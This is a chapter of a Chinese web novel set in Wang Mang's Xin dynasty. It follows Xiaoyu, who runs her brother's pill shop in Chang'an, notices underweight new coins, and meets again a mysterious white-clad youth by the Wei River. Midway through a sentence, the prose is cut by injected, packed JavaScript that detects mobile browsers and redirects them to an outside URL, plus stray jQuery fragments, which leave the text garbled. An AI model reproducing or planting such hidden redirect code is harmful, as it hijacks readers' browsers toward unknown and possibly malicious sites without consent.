次日，辰正时分。


    清晨熹微的阳光，透过大敞的横格长窗照彻了整间屋子，窗下的柳木书案上，一个十岁上下的男孩子正悬腕提笔，安静地默写着什么。


    他穿着一身本白色的细葛衣裳，生着和小鱼肖似的柳叶眉，秀气得很。大约是少失怙恃，又带着幼妹寄居亲戚的缘故，本该鸡飞狗跳的年纪，他身上却一点儿没有同龄男孩子的闹腾劲儿，坐得规规矩矩，举止温温缓缓，莫名让人觉得安心。


    终于，伏案半晌的男孩子搁了笔，从案头刚刚默写完的那卷《诫书》上抬起头，略阖了阖酸涩的眼，浑身放松下来。随即，他就被书架那边的动静引了过去，目光于是落向了正踮着脚，挣扎着想要扒着槅板取下一卷竹简的妹妹——


    “小鱼在寻甚么？”


    “三兄功课毕咯？”小小的女娃娃仿佛觅到了新谷的雀儿，眉目飞扬起来，手上一下子松了劲儿，高踮的脚尖匆促落地时差点儿一个趔趄，晃晃悠悠地，不及站稳脚跟便几步蹦跶到了兄长身边。


    她扯起兄长带着笔茧的右手，低着头，细白的手指在他手心里画画似的，一笔一笔认认真真地划出了个……张牙舞爪的鬼画符。


    “喏，在寻这个字。”


    他看得忍俊不禁，本着在妹妹面前一惯的好脾气，十二分耐心地让她把那“鬼画符”又画了一遍。


    而后，自己用指尖蘸了砚边陶洗里的清水，在书案上写了几个近似的字，令她一个一个仔细辨认。


    “这个！”她细白的手指落在其中一个字上，惊喜道。


    他笑看着那个字：“这是‘横’。”


    “‘横’？”


    “嗯，横竖的‘横’。”


    当天晚上，天刚刚擦黑，小鱼就偷偷溜去了白湖边，可是直到月亮升得老高，都没有看到昨晚那位小阿兄。小小的孩子不肯死心，一直抱膝坐在湖边的慈姑草上等啊等，直等得困极睡了过去，半夜的时候，却等来了急得冒火的三兄和叔父……


    从此，她整个童年里，再也没有见过那个白衣裳的小阿兄。


    那天晚上的种种，仿佛不过是小孩子听多了神怪故事，自顾自臆想出的一场荒诞不经的夜梦。


    燕来雁往，寒暑易节。


    小鱼和哥哥就这么在白湖边一天天长大起来，白水乡地远僻静，日子过得清平。如果说有什么大事，也就是在她八岁那年，安汉公王莽受“禅让”之礼，践祚登帝。


    ——从此，这世上再没有什么汉家江山，刘氏皇族了。


    她尚且懵懂，只知道一连十多天，叔父都爱在夜里喝闷酒，醉得吐了好几回，就连三兄也比往常沉默得多。等到小鱼渐渐长大，足以想明白这些事情与他们家的干系，已经是许久以后了。


    天凤元年的春天，她家三兄决意离家北上，前往长安求学，并且说服了叔父，带了她一块儿走。


    这一年，她十四岁。


    ……


    半年后，长安，华阳街。


    自昔年高祖立国起，长安作为都城，迄今已二百多年。说起来，这座京城最繁盛的光景，还要数六十多年前孝宣皇帝在位时，元凤年间，谷价低到每斛五钱，偌大的长安城，八街九陌间竟不见几个乞儿。


    可惜宣帝刘询寿数不久，四十五岁上就崩了。太子刘奭承位以后，崇信儒术，一味仁弱，政局渐渐不稳。再后来，成帝、哀帝一个赛一个的荒唐，以至于五年前，安汉公王莽受禅称帝，代汉而自立。


    从此，江山改姓，舆图换稿。


    新帝王莽践祚以来，锐意革新。


    在一系列囊括了土地、经济、官制的改革措施中，最令天下读书人欢欣鼓舞的，莫过于大兴文教——郡国遍立学校，京中扩招太学。


    长安的太学由原先的一千余名学生，扩招到万人之众。无数平民出身的优秀学子，终于有了进太学读书的机会。


    于是，自元始四年起，各地学子蜂涌入京，一时盛况空前。


    不过么，长安米贵，外地来的学子进京读书实在烧钱。学中束脩、赁屋租车、衣食笔墨、同窗交游……样样都俭省不得，一个太学生每月的用度，抵得上寻常庄户人家半年花销。


    于是，这些太学生里，有不少人就开始做书佣之类的零工赚钱，更有心思的活络的谋起了其他生意。


    华阳街上新近声名雀起的药坊，便是一个刘姓的太学生开的。这刘生颇有眼力，在一堆药坊里另辟蹊径，只做蜜合药。因为专精，加上药好价公，很快就在这熙熙攘攘、店肆林立的华阳街上站稳了脚跟儿。


    不过，近些日子刘生忙于太学那边的学业，早晚打理药坊的，都是他家幼妹。


    那位女公子委实了得！


    十四五岁的年纪，通笔墨、精术算，行事妥帖又利落，一个人，一把算筹，一卷账簿，就把整个药坊理得井井有条。


    而在左邻右舍看来，最最要紧的是她人还生得灵秀，所以药坊甫开张，便络绎有人家遣媒上门，不过回回都被婉拒……


    但，朝廷的律法摆在那儿，将将十五岁的姑娘，家里可留不得了呀。


    今日是上巳节，刘生也入乡随俗，一大早便替妹妹雇车出城，去渭水边寻春踏青。


    想必，也是盼她趁了这难得的机缘，邂逅个良人罢。


    渭水畔，春茵茸茸，绿毯里杂着星星点点的零碎野花，白的点地梅，粉的田旋花，一路烂漫仿佛要蔓延到天边。沿河的草径上，一群来踏青的髻龄少女，仿佛叽叽喳喳的雀儿，吵得周遭的人频频侧目。


    “我早说过，小鱼姊姊你不来会后悔，今年较去年还热闹咧！”


    “对！整日待在药坊里算帐有甚意思？长安城一年到头，最热闹的日子也就几天，顶好玩儿的就数上巳节了，错过的话可亏大了……”


    “就是就是！元旦太冷，夏至太热，渭水边儿也就上巳节才这么热闹，景致好不说，好吃的好玩儿的都多，诶！瞧那边，怎么围了恁多人——”


    “好像是百戏吔！”


    “呀！有百戏瞧？！”


    “快点儿、快点儿，跑慢了就挤不进去啦，只能在外头听声儿了……”


    见一群小姑娘被那边的百戏班子吸引了过去，小鱼心下不禁长长松了一口气——她一惯安静，实在险些有些招架不住闾里这些小姊妹的热情。


    早在上月，相熟的几位阿婶就帮她张罗着裁新衣，制首饰，为上巳节做打算。毕竟，这是一年里头少有的男女杂游的好日子，堪称一场盛大的相亲。


    她……年底便要满十五岁了。


    依律，女子十五不嫁，父母便要受罚，向朝廷缴纳罚金五算。五算的罚金，对寻常人家实在是一笔不小的钱，所以，民间少有拖到她这样“高龄”还未定婚的女子。


    “——小鱼姊姊，你快呀，再慢要被落下了！”


    “你们先去罢，我走路慢，后头过来。”她笑着同前面的女伴应了声，缓着步子，继续着方才的思绪。


    不过，阿婶她们其实想错了。


    她家三兄从来不勉强她什么，这回，也不过是想让她趁着时令出来散散心罢了。


    而她今日，当真需要好好散散心。


    小鱼略低了头，从袖中取出了一样东西，借着清晨的阳光又看了看——那，赫然是一枚内圆外方崭新的铜钱。


    这是“钱泉”，朝廷今年发行的新币，她手上的这枚，是近日出库的第二批，刚刚流入民间。昨日她头回收到，出于谨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057857|178554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慎，拿铜衡称了称，谁料，却着实吃了一惊。


    这枚钱，只重二十四株三圭！


    钱泉，每枚应重二十五铢。


    她一时骇然，不死心地称了一遍又一遍——果然，轻了七圭。


    这，是官家出的劣币！！！


    “一分价钱一分货，朝廷造了劣币，不久，谷价便会看涨……其后，便是百物溢价，乱象丛生。”


    小时候三兄为她说古，曾讲过孝武帝年间为充实国库，滥造“皮币”的故事，言犹在耳，历久弥新。


    而这，绝不会是朝廷的第一批劣币。


    这批是二十四铢，下批可能就会是二十三铢、二十二铢、二十一铢。往后三五年间，长安城内外不知多少百姓会倾家荡产，接着是京畿，再接着是豫州、荆州，再而兖州、扬州、徐州、青州、并州……


    十年之内，必民怨四起，天下板荡。


    “算了，等明日阿兄作完手头这篇策论，同他商议了再看罢！”


    这个念头迸出来的一瞬，她心里陡然安宁了许多。


    她家三兄，就好像梁间大柱一样，永远从容妥帖，什么都能稳稳撑着。


    她是喜静的性子，落了单反倒自在，一个人拣着着河岸的僻静处闲闲走着，心情渐渐松快了许多。


    长安比起南阳，气候偏冷一些。都三月天气了，四面的山峦还是大片大片的褐黄色，不过野桃开得正好，一树树粉白、繁白的花烂漫而绽，仿佛老婆婆黄发簪花，有一种稚拙天然的漂亮。


    至于水里么，无荷无菱，连泽兰、慈姑之类的水草也看不见。


    幸好，生着很多芦苇，新绿的春苇不过几寸来高，河中汀州上、近水浅滩上、岸边湿土里到处都是，虽不及白湖边的芦苇荡长得高大，但却是另一种生机勃勃的好看……小鱼自幼喜爱芦苇，索性在上游一片儿偏僻的芦苇丛边拣了块儿青石坐下，静静看山水。


    她不爱动，就这么一直坐到了太阳落山。


    岸边舟上的游人都渐渐稀了，除了一些带着毛毡布帐，打算宿在水边赏夜景的，已经不剩什么。闾里的几个小姑娘大约未寻到她，自己归家了，嘈杂了一天的水边终于趋静。


    小鱼坐在水畔青石上，静静地……看天。


    夕阳彻底落下去之后，天空就成了沉静的靛青色，近山的地方洇进了一脉柔和的紫，并越来越深，最终凝成了天山相接处一线长长明亮的粉紫色光芒。


    真是让人不忍心错开一眼。


    ——自从离开南阳，她有多久没有这样看山看水看天了？


    直到一勾细细的月亮在水边升起来的时候，小鱼终于起身。


    再晚，就连回城的鹿车都没有了。


    就在她敛衣起身的时候，漆黑的夜色里，忽然有什么亮色的东西映入了眼帘——


    在前方十几步远处的芦苇丛里，明晃晃地现出了一个人影。


    白衣的少年侧对着她，依旧十四五岁模样，一挽浓墨似的长发不绾不髻，直垂到莹白的足踝边，浑身只着一袭单薄的素丝深衣，衣料在月华下泛着微光，衬得肤色宛如水玉。


    他仿佛一抹单薄的剪影，又仿佛，略微呵一口大气，便会被吹散的一场旧梦。


    小鱼呆呆地怔在了当地，神情木愣，像是故事里的蜃景活生生出现在眼前一样骇人，难以置信。


    她就这样发了半天呆，听着河里微微的水声，不晓得多久，思绪才渐渐清明。她长长地吐匀了气息，镇定下来。


    下一刻，她仿佛十年前那个不晓得害怕的孩子一样，脚下起了步，一步步朝前走去，走到了距他丈许远的地方，看着那少年一如当年的面容，轻轻地出声，问——


    “你，是唤作阿横么？”